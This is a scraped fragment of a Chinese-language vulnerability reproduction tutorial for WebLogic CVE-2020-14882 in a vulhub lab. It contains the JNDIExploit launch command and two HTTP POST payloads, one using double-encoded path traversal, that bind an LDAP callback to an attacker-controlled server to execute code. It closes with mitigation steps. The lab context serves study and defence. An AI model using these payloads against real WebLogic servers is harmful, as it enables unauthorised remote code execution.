$ cd vulhub/weblogic/CVE-2020-14882/
$ docker-compose up -d
$ java -jar JNDIExploit.jar -i <VPS_IP>
http://<IP:PORT>/console/login/LoginForm.jsp
进行登录。默认账号为weblogic
,密码可在靶机使用以下命令查询:$ docker-compose logs | grep password
http://<IP:PORT>/console/console.portal
可进入控制台。使用Burp抓包,发送到Repeater
Repeater
中修改请求为以下Payload,需要注意的是,服务器IP格式为xxx.xxx.xxx;xxx
,最后一段是以分号;
分割的POST /console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1
http://<IP:PORT>/console/css/%252e%252e%252f/consolejndi.portal
Repeater
,同样需要注意服务器IP格式为xxx.xxx.xxx;xxx
,Payload如下POST /console/css/%25%32%65%25%32%65%25%32%66/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&cqqhandle=com.bea.console.handles.JndiBindingHandle(%22ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1
weblogic.security.net.ConnectionFilterImpl
,在连接筛选器规则框中输入:* * 7001 deny t3 t3s
/console/console.portal
对外访问扫码关注腾讯云开发者
领取腾讯云代金券
Copyright © 2013 - 2025 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号:粤B2-20090059 深公网安备号 44030502008569
腾讯云计算(北京)有限责任公司 京ICP证150476号 | 京ICP备11018762号 | 京公网安备号11010802020287
Copyright © 2013 - 2025 Tencent Cloud.
All Rights Reserved. 腾讯云 版权所有